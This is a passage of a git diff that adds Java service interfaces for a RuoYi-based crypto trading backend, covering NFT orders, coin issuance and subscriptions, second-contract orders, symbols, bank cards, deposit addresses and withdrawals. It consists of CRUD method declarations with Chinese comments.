* @param tMingProductUser 用户购买质押限制 + * @return 结果 + */ + public int insertTMingProductUser(TMingProductUser tMingProductUser); + + /** + * 修改用户购买质押限制 + * + * @param tMingProductUser 用户购买质押限制 + * @return 结果 + */ + public int updateTMingProductUser(TMingProductUser tMingProductUser); + + /** + * 批量删除用户购买质押限制 + * + * @param ids 需要删除的用户购买质押限制主键集合 + * @return 结果 + */ + public int deleteTMingProductUserByIds(Long[] ids); + + /** + * 删除用户购买质押限制信息 + * + * @param id 用户购买质押限制主键 + * @return 结果 + */ + public int deleteTMingProductUserById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftOrderService.java new file mode 100644 index 0000000..da1de4d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftOrderService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TNftOrder; + +/** + * nft订单Service接口 + * + * @author ruoyi + * @date 2023-09-01 + */ +public interface ITNftOrderService extends IService +{ + /** + * 查询nft订单 + * + * @param id nft订单主键 + * @return nft订单 + */ + public TNftOrder selectTNftOrderById(Long id); + + /** + * 查询nft订单列表 + * + * @param tNftOrder nft订单 + * @return nft订单集合 + */ + public List selectTNftOrderList(TNftOrder tNftOrder); + + /** + * 新增nft订单 + * + * @param tNftOrder nft订单 + * @return 结果 + */ + public int insertTNftOrder(TNftOrder tNftOrder); + + /** + * 修改nft订单 + * + * @param tNftOrder nft订单 + * @return 结果 + */ + public int updateTNftOrder(TNftOrder tNftOrder); + + /** + * 批量删除nft订单 + * + * @param ids 需要删除的nft订单主键集合 + * @return 结果 + */ + public int deleteTNftOrderByIds(Long[] ids); + + /** + * 删除nft订单信息 + * + * @param id nft订单主键 + * @return 结果 + */ + public int deleteTNftOrderById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftProductService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftProductService.java new file mode 100644 index 0000000..96a7420 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftProductService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TNftProduct; + +/** + * nft详情Service接口 + * + * @author ruoyi + * @date 2023-09-01 + */ +public interface ITNftProductService extends IService +{ + /** + * 查询nft详情 + * + * @param id nft详情主键 + * @return nft详情 + */ + public TNftProduct selectTNftProductById(Long id); + + /** + * 查询nft详情列表 + * + * @param tNftProduct nft详情 + * @return nft详情集合 + */ + public List selectTNftProductList(TNftProduct tNftProduct); + + /** + * 新增nft详情 + * + * @param tNftProduct nft详情 + * @return 结果 + */ + public int insertTNftProduct(TNftProduct tNftProduct); + + /** + * 修改nft详情 + * + * @param tNftProduct nft详情 + * @return 结果 + */ + public int updateTNftProduct(TNftProduct tNftProduct); + + /** + * 批量删除nft详情 + * + * @param ids 需要删除的nft详情主键集合 + * @return 结果 + */ + public int deleteTNftProductByIds(Long[] ids); + + /** + * 删除nft详情信息 + * + * @param id nft详情主键 + * @return 结果 + */ + public int deleteTNftProductById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftSeriesService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftSeriesService.java new file mode 100644 index 0000000..f8ea2b2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftSeriesService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TNftSeries; + +/** + * nft合计Service接口 + * + * @author ruoyi + * @date 2023-09-01 + */ +public interface ITNftSeriesService extends IService +{ + /** + * 查询nft合计 + * + * @param id nft合计主键 + * @return nft合计 + */ + public TNftSeries selectTNftSeriesById(Long id); + + /** + * 查询nft合计列表 + * + * @param tNftSeries nft合计 + * @return nft合计集合 + */ + public List selectTNftSeriesList(TNftSeries tNftSeries); + + /** + * 新增nft合计 + * + * @param tNftSeries nft合计 + * @return 结果 + */ + public int insertTNftSeries(TNftSeries tNftSeries); + + /** + * 修改nft合计 + * + * @param tNftSeries nft合计 + * @return 结果 + */ + public int updateTNftSeries(TNftSeries tNftSeries); + + /** + * 批量删除nft合计 + * + * @param ids 需要删除的nft合计主键集合 + * @return 结果 + */ + public int deleteTNftSeriesByIds(Long[] ids); + + /** + * 删除nft合计信息 + * + * @param id nft合计主键 + * @return 结果 + */ + public int deleteTNftSeriesById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNoticeService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNoticeService.java new file mode 100644 index 0000000..9a885a0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNoticeService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TNotice; + +/** + * 通知公告Service接口 + * + * @author ruoyi + * @date 2023-07-20 + */ +public interface ITNoticeService extends IService +{ + /** + * 查询通知公告 + * + * @param noticeId 通知公告主键 + * @return 通知公告 + */ + public TNotice selectTNoticeByNoticeId(Long noticeId); + + /** + * 查询通知公告列表 + * + * @param tNotice 通知公告 + * @return 通知公告集合 + */ + public List selectTNoticeList(TNotice tNotice); + + /** + * 新增通知公告 + * + * @param tNotice 通知公告 + * @return 结果 + */ + public int insertTNotice(TNotice tNotice); + + /** + * 修改通知公告 + * + * @param tNotice 通知公告 + * @return 结果 + */ + public int updateTNotice(TNotice tNotice); + + /** + * 批量删除通知公告 + * + * @param noticeIds 需要删除的通知公告主键集合 + * @return 结果 + */ + public int deleteTNoticeByNoticeIds(Long[] noticeIds); + + /** + * 删除通知公告信息 + * + * @param noticeId 通知公告主键 + * @return 结果 + */ + public int deleteTNoticeByNoticeId(Long noticeId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOptionRulesService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOptionRulesService.java new file mode 100644 index 0000000..7211a46 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOptionRulesService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TOptionRules; + +/** + * 前台文本配置Service接口 + * + * @author ruoyi + * @date 2023-07-19 + */ +public interface ITOptionRulesService extends IService +{ + /** + * 查询前台文本配置 + * + * @param id 前台文本配置主键 + * @return 前台文本配置 + */ + public TOptionRules selectTOptionRulesById(Long id); + + /** + * 查询前台文本配置列表 + * + * @param tOptionRules 前台文本配置 + * @return 前台文本配置集合 + */ + public List selectTOptionRulesList(TOptionRules tOptionRules); + + /** + * 新增前台文本配置 + * + * @param tOptionRules 前台文本配置 + * @return 结果 + */ + public int insertTOptionRules(TOptionRules tOptionRules); + + /** + * 修改前台文本配置 + * + * @param tOptionRules 前台文本配置 + * @return 结果 + */ + public int updateTOptionRules(TOptionRules tOptionRules); + + /** + * 批量删除前台文本配置 + * + * @param ids 需要删除的前台文本配置主键集合 + * @return 结果 + */ + public int deleteTOptionRulesByIds(Long[] ids); + + /** + * 删除前台文本配置信息 + * + * @param id 前台文本配置主键 + * @return 结果 + */ + public int deleteTOptionRulesById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinOrderService.java new file mode 100644 index 0000000..cfa2ffa --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinOrderService.java @@ -0,0 +1,81 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TOwnCoinOrder; +import com.ruoyi.common.core.domain.AjaxResult; + +/** + * 申购订单Service接口 + * + * @author ruoyi + * @date 2023-09-20 + */ +public interface ITOwnCoinOrderService extends IService +{ + /** + * 查询申购订单 + * + * @param id 申购订单主键 + * @return 申购订单 + */ + public TOwnCoinOrder selectTOwnCoinOrderById(Long id); + + /** + * 查询申购订单列表 + * + * @param tOwnCoinOrder 申购订单 + * @return 申购订单集合 + */ + public List selectTOwnCoinOrderList(TOwnCoinOrder tOwnCoinOrder); + + /** + * 新增申购订单 + * + * @param tOwnCoinOrder 申购订单 + * @return 结果 + */ + public int insertTOwnCoinOrder(TOwnCoinOrder tOwnCoinOrder); + + /** + * 修改申购订单 + * + * @param tOwnCoinOrder 申购订单 + * @return 结果 + */ + public int updateTOwnCoinOrder(TOwnCoinOrder tOwnCoinOrder); + + /** + * 批量删除申购订单 + * + * @param ids 需要删除的申购订单主键集合 + * @return 结果 + */ + public int deleteTOwnCoinOrderByIds(Long[] ids); + + /** + * 删除申购订单信息 + * + * @param id 申购订单主键 + * @return 结果 + */ + public int deleteTOwnCoinOrderById(Long id); + + String createOrder(TOwnCoinOrder tOwnCoinOrder); + + /** + * 订阅申购新发币 + * + * @param tOwnCoinOrder + * @return + */ + AjaxResult placingCoins(TOwnCoinOrder tOwnCoinOrder); + + /** + * 审批申购订单 + * + * @param tOwnCoinOrder + * @return + */ + AjaxResult editPlacing(TOwnCoinOrder tOwnCoinOrder); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinService.java new file mode 100644 index 0000000..1524b3e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinService.java @@ -0,0 +1,137 @@ +package com.ruoyi.bussiness.service; + +import cc.block.data.api.domain.market.Kline; +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; + +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TOwnCoin; +import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder; +import com.ruoyi.bussiness.domain.vo.TOwnCoinVO; +import com.ruoyi.common.core.domain.AjaxResult; + +/** + * 发币Service接口 + * + * @author ruoyi + * @date 2023-09-18 + */ +public interface ITOwnCoinService extends IService +{ + /** + * 查询发币 + * + * @param id 发币主键 + * @return 发币 + */ + public TOwnCoin selectTOwnCoinById(Long id); + + /** + * 查询发币列表 + * + * @param tOwnCoin 发币 + * @return 发币集合 + */ + public List selectTOwnCoinList(TOwnCoin tOwnCoin); + + /** + * 新增发币 + * + * @param tOwnCoin 发币 + * @return 结果 + */ + public int insertTOwnCoin(TOwnCoin tOwnCoin); + + /** + * 修改发币 + * + * @param tOwnCoin 发币 + * @return 结果 + */ + public int updateTOwnCoin(TOwnCoin tOwnCoin); + + /** + * 批量删除发币 + * + * @param ids 需要删除的发币主键集合 + * @return 结果 + */ + public int deleteTOwnCoinByIds(Long[] ids); + + /** + * 删除发币信息 + * + * @param id 发币主键 + * @return 结果 + */ + public int deleteTOwnCoinById(Long id); + + int editStatus(Long id); + + List selectLineList(KlineSymbol one, List his); + + /** + * 新发币订阅 + * + * @param tOwnCoinSubscribeOrder + * @return + */ + AjaxResult subscribeCoins(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 查询用户订阅新发币列表 + * + * @param tOwnCoinSubscribeOrder + * @return + */ + List selectTOwnCoinSubscribeOrderList(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 修改(审批)发币订阅 + * + * @param tOwnCoinSubscribeOrder + * @return + */ + int updateTOwnCoinSubscribeOrder(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 查询用户订阅审批订单 + * + * @param ownId + * @param userId + * @return + */ + TOwnCoinSubscribeOrder getOrderById(Long ownId, Long userId); + /** + * 查询用户订阅审批订单 + * + * @param ownId + * @param userId + * @return + */ + TOwnCoinVO getDetail(Long ownId, Long userId); + + /** + * 查询发币列表 + * + * @param status 新发币状态 + * @return + */ + List ownCoinList(String status); + + /** + * 获取新币详情 + * + * @param id + * @return + */ + TOwnCoinSubscribeOrder getTOwnCoinSubscribeOrder(Long id); + + /** + * 提前结束上线新币,资产发送 + * + * @param id + * @return + */ + int editReleaseStatus(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondCoinConfigService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondCoinConfigService.java new file mode 100644 index 0000000..09216da --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondCoinConfigService.java @@ -0,0 +1,76 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.domain.vo.SecondCoinCopyVO; +import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO; + +import java.util.List; +import java.util.Map; + + +/** + * 秒合约币种配置Service接口 + * + * @author ruoyi + * @date 2023-07-11 + */ +public interface ITSecondCoinConfigService extends IService +{ + /** + * 查询秒合约币种配置 + * + * @param id 秒合约币种配置主键 + * @return 秒合约币种配置 + */ + public TSecondCoinConfig selectTSecondCoinConfigById(Long id); + + /** + * 查询秒合约币种配置列表 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 秒合约币种配置集合 + */ + public List selectTSecondCoinConfigList(TSecondCoinConfig tSecondCoinConfig); + + /** + * 新增秒合约币种配置 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 结果 + */ + public int insertTSecondCoinConfig(TSecondCoinConfig tSecondCoinConfig); + public int insertSecondCoin(TSecondCoinConfig tSecondCoinConfig); + + /** + * 修改秒合约币种配置 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 结果 + */ + public int updateTSecondCoinConfig(TSecondCoinConfig tSecondCoinConfig); + + /** + * 批量删除秒合约币种配置 + * + * @param ids 需要删除的秒合约币种配置主键集合 + * @return 结果 + */ + public int deleteTSecondCoinConfigByIds(Long[] ids); + + /** + * 删除秒合约币种配置信息 + * + * @param id 秒合约币种配置主键 + * @return 结果 + */ + public int deleteTSecondCoinConfigById(Long id); + + public boolean batchSave(String[] coins); + + List getSymbolList(); + + List selectBathCopySecondCoinConfigList(); + + int bathCopyIng(SecondCoinCopyVO secondCoinCopyVO); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondContractOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondContractOrderService.java new file mode 100644 index 0000000..c0621e9 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondContractOrderService.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TSecondContractOrder; + +import java.util.List; + +/** + * 秒合约订单Service接口 + * + * @author ruoyi + * @date 2023-07-13 + */ +public interface ITSecondContractOrderService extends IService +{ + /** + * 查询秒合约订单 + * + * @param id 秒合约订单主键 + * @return 秒合约订单 + */ + public TSecondContractOrder selectTSecondContractOrderById(Long id); + + /** + * 查询秒合约订单列表 + * + * @param tSecondContractOrder 秒合约订单 + * @return 秒合约订单集合 + */ + public List selectTSecondContractOrderList(TSecondContractOrder tSecondContractOrder); + + /** + * 新增秒合约订单 + * + * @param tSecondContractOrder 秒合约订单 + * @return 结果 + */ + public int insertTSecondContractOrder(TSecondContractOrder tSecondContractOrder); + + /** + * 修改秒合约订单 + * + * @param tSecondContractOrder 秒合约订单 + * @return 结果 + */ + public int updateTSecondContractOrder(TSecondContractOrder tSecondContractOrder); + + /** + * 批量删除秒合约订单 + * + * @param ids 需要删除的秒合约订单主键集合 + * @return 结果 + */ + public int deleteTSecondContractOrderByIds(Long[] ids); + + /** + * 删除秒合约订单信息 + * + * @param id 秒合约订单主键 + * @return 结果 + */ + public int deleteTSecondContractOrderById(Long id); + + String createSecondContractOrder(TSecondContractOrder tSecondContractOrder); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondPeriodConfigService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondPeriodConfigService.java new file mode 100644 index 0000000..758b455 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondPeriodConfigService.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TSecondPeriodConfig; + +import java.util.List; + +/** + * 秒合约币种周期配置Service接口 + * + * @author ruoyi + * @date 2023-07-11 + */ +public interface ITSecondPeriodConfigService extends IService +{ + /** + * 查询秒合约币种周期配置 + * + * @param id 秒合约币种周期配置主键 + * @return 秒合约币种周期配置 + */ + public TSecondPeriodConfig selectTSecondPeriodConfigById(Long id); + + /** + * 查询秒合约币种周期配置列表 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 秒合约币种周期配置集合 + */ + public List selectTSecondPeriodConfigList(TSecondPeriodConfig tSecondPeriodConfig); + + /** + * 新增秒合约币种周期配置 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 结果 + */ + public int insertTSecondPeriodConfig(TSecondPeriodConfig tSecondPeriodConfig); + + /** + * 修改秒合约币种周期配置 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 结果 + */ + public int updateTSecondPeriodConfig(TSecondPeriodConfig tSecondPeriodConfig); + + /** + * 批量删除秒合约币种周期配置 + * + * @param ids 需要删除的秒合约币种周期配置主键集合 + * @return 结果 + */ + public int deleteTSecondPeriodConfigByIds(Long[] ids); + + /** + * 删除秒合约币种周期配置信息 + * + * @param id 秒合约币种周期配置主键 + * @return 结果 + */ + public int deleteTSecondPeriodConfigById(Long id); + + void copyPeriodMethod(Long id, Long copyId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSpontaneousCoinService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSpontaneousCoinService.java new file mode 100644 index 0000000..8fcd253 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSpontaneousCoinService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TSpontaneousCoin; + +/** + * 自发币种配置Service接口 + * + * @author ruoyi + * @date 2023-10-08 + */ +public interface ITSpontaneousCoinService extends IService +{ + /** + * 查询自发币种配置 + * + * @param id 自发币种配置主键 + * @return 自发币种配置 + */ + public TSpontaneousCoin selectTSpontaneousCoinById(Long id); + + /** + * 查询自发币种配置列表 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 自发币种配置集合 + */ + public List selectTSpontaneousCoinList(TSpontaneousCoin tSpontaneousCoin); + + /** + * 新增自发币种配置 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 结果 + */ + public int insertTSpontaneousCoin(TSpontaneousCoin tSpontaneousCoin); + + /** + * 修改自发币种配置 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 结果 + */ + public int updateTSpontaneousCoin(TSpontaneousCoin tSpontaneousCoin); + + /** + * 批量删除自发币种配置 + * + * @param ids 需要删除的自发币种配置主键集合 + * @return 结果 + */ + public int deleteTSpontaneousCoinByIds(Long[] ids); + + /** + * 删除自发币种配置信息 + * + * @param id 自发币种配置主键 + * @return 结果 + */ + public int deleteTSpontaneousCoinById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolManageService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolManageService.java new file mode 100644 index 0000000..d9a2b85 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolManageService.java @@ -0,0 +1,67 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; + +import com.ruoyi.bussiness.domain.TSymbolManage; + +/** + * 币种管理Service接口 + * + * @author ruoyi + * @date 2023-07-12 + */ +public interface ITSymbolManageService extends IService +{ + /** + * 查询币种管理 + * + * @param id 币种管理主键 + * @return 币种管理 + */ + public TSymbolManage selectTSymbolManageById(Long id); + + /** + * 查询币种管理列表 + * + * @param tSymbolManage 币种管理 + * @return 币种管理集合 + */ + public List selectTSymbolManageList(TSymbolManage tSymbolManage); + + /** + * 新增币种管理 + * + * @param tSymbolManage 币种管理 + * @return 结果 + */ + public int insertTSymbolManage(TSymbolManage tSymbolManage); + + /** + * 修改币种管理 + * + * @param tSymbolManage 币种管理 + * @return 结果 + */ + public int updateTSymbolManage(TSymbolManage tSymbolManage); + + /** + * 批量删除币种管理 + * + * @param ids 需要删除的币种管理主键集合 + * @return 结果 + */ + public int deleteTSymbolManageByIds(Long[] ids); + + /** + * 删除币种管理信息 + * + * @param id 币种管理主键 + * @return 结果 + */ + public int deleteTSymbolManageById(Long id); + + List selectSymbolList(TSymbolManage tSymbolManage); + + boolean addBatch(String[] symbols); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolsService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolsService.java new file mode 100644 index 0000000..f9afdf3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolsService.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.service; + +import java.util.List; +import com.ruoyi.bussiness.domain.TSymbols; + +/** + * 支持币种Service接口 + * + * @author ruoyi + * @date 2023-06-26 + */ +public interface ITSymbolsService +{ + /** + * 查询支持币种 + * + * @param slug 支持币种主键 + * @return 支持币种 + */ + public TSymbols selectTSymbolsBySlug(String slug); + + /** + * 查询支持币种列表 + * + * @param tSymbols 支持币种 + * @return 支持币种集合 + */ + public List selectTSymbolsList(TSymbols tSymbols); + + /** + * 新增支持币种 + * + * @param tSymbols 支持币种 + * @return 结果 + */ + public int insertTSymbols(TSymbols tSymbols); + + /** + * 修改支持币种 + * + * @param tSymbols 支持币种 + * @return 结果 + */ + public int updateTSymbols(TSymbols tSymbols); + + /** + * 批量删除支持币种 + * + * @param slugs 需要删除的支持币种主键集合 + * @return 结果 + */ + public int deleteTSymbolsBySlugs(String[] slugs); + + /** + * 删除支持币种信息 + * + * @param slug 支持币种主键 + * @return 结果 + */ + public int deleteTSymbolsBySlug(String slug); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserBankService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserBankService.java new file mode 100644 index 0000000..142ac7a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserBankService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TUserBank; + +/** + * 银行卡Service接口 + * + * @author ruoyi + * @date 2023-08-21 + */ +public interface ITUserBankService extends IService +{ + /** + * 查询银行卡 + * + * @param id 银行卡主键 + * @return 银行卡 + */ + public TUserBank selectTUserBankById(Long id); + + /** + * 查询银行卡列表 + * + * @param tUserBank 银行卡 + * @return 银行卡集合 + */ + public List selectTUserBankList(TUserBank tUserBank); + + /** + * 新增银行卡 + * + * @param tUserBank 银行卡 + * @return 结果 + */ + public int insertTUserBank(TUserBank tUserBank); + + /** + * 修改银行卡 + * + * @param tUserBank 银行卡 + * @return 结果 + */ + public int updateTUserBank(TUserBank tUserBank); + + /** + * 批量删除银行卡 + * + * @param ids 需要删除的银行卡主键集合 + * @return 结果 + */ + public int deleteTUserBankByIds(Long[] ids); + + /** + * 删除银行卡信息 + * + * @param id 银行卡主键 + * @return 结果 + */ + public int deleteTUserBankById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserCoinService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserCoinService.java new file mode 100644 index 0000000..01703c3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserCoinService.java @@ -0,0 +1,10 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TUserCoin; + +public interface ITUserCoinService extends IService { + + void removeByUserId(Long userId); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserSymbolAddressService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserSymbolAddressService.java new file mode 100644 index 0000000..526346c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserSymbolAddressService.java @@ -0,0 +1,75 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TUserSymbolAddress; +import com.ruoyi.bussiness.domain.setting.AssetCoinSetting; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; + +/** + * 用户币种充值地址Service接口 + * + * @author ruoyi + * @date 2023-07-12 + */ +public interface ITUserSymbolAddressService extends IService +{ + /** + * 查询用户币种充值地址 + * + * @param id 用户币种充值地址主键 + * @return 用户币种充值地址 + */ + public TUserSymbolAddress selectTUserSymbolAddressById(Long id); + + /** + * 查询用户币种充值地址列表 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 用户币种充值地址集合 + */ + public List selectTUserSymbolAddressList(TUserSymbolAddress tUserSymbolAddress); + + /** + * 新增用户币种充值地址 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 结果 + */ + public int insertTUserSymbolAddress(TUserSymbolAddress tUserSymbolAddress); + + /** + * 修改用户币种充值地址 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 结果 + */ + public int updateTUserSymbolAddress(TUserSymbolAddress tUserSymbolAddress); + + /** + * 批量删除用户币种充值地址 + * + * @param ids 需要删除的用户币种充值地址主键集合 + * @return 结果 + */ + public int deleteTUserSymbolAddressByIds(Long[] ids); + + /** + * 删除用户币种充值地址信息 + * + * @param id 用户币种充值地址主键 + * @return 结果 + */ + public int deleteTUserSymbolAddressById(Long id); + + Map getUserRechargeAdressList(Long userId); + + Map getAdredssByCoin(String coin,String symbol,Long userId); + + boolean check(String symbol,String adress); + + ThirdPaySetting getThirdPaySetting(String code); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITWithdrawService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITWithdrawService.java new file mode 100644 index 0000000..e035fbf --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITWithdrawService.java @@ -0,0 +1,79 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.domain.vo.WithdrawFreezeVO; +import com.ruoyi.socket.dto.NoticeVO; + +import java.math.BigDecimal; +import java.util.List; + + +/** + * 用户提现Service接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface ITWithdrawService extends IService +{ + /** + * 查询用户提现 + * + * @param id 用户提现主键 + * @return 用户提现 + */ + public TWithdraw selectTWithdrawById(Long id); + + /** + * 查询用户提现列表 + * + * @param tWithdraw 用户提现 + * @return 用户提现集合 + */ + public List selectTWithdrawList(TWithdraw tWithdraw); + + /** + * 新增用户提现 + * + * @param tWithdraw 用户提现 + * @return 结果 + */ + public int insertTWithdraw(TWithdraw tWithdraw); + + /** + * 修改用户提现 + * + * @param tWithdraw 用户提现 + * @return 结果 + */ + public int updateTWithdraw(TWithdraw tWithdraw); + + /** + * 批量删除用户提现 + * + * @param ids 需要删除的用户提现主键集合 + * @return 结果 + */ + public int deleteTWithdrawByIds(Long[] ids); + + /** + * 删除用户提现信息 + * + * @param id 用户提现主键 + * @return 结果 + */ + public int deleteTWithdrawById(Long id); + + String submit(BigDecimal amount, String coinType, String pwd, String adress, String coin); + + String rejectOrder(TWithdraw withdraw); + + NoticeVO sendMessage(Integer code, String userId); + + BigDecimal getAllWithdraw(String parentId, Integer type); + + List selectFreezeList(TWithdraw appWithdraw); + + Boolean getWithdrawStatus(long loginIdAsLong); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SettingService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SettingService.java new file mode 100644 index 0000000..68f576a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SettingService.java @@ -0,0 +1,37 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import org.springframework.cache.annotation.CacheConfig; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.cache.annotation.Cacheable; + +/** + * 配置业务层 + * + * @author Chopper + * @since 2020/11/17 3:46 下午 + */ + +public interface SettingService extends IService { + + /** + * 通过key获取 + * + * @param key + * @return + */ + Setting get(String key); + + /** + * 修改 + * + * @param setting + * @return + */ + boolean saveUpdate(Setting setting); + + ThirdPaySetting getThirdPaySetting(String code); + +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SmsService.java 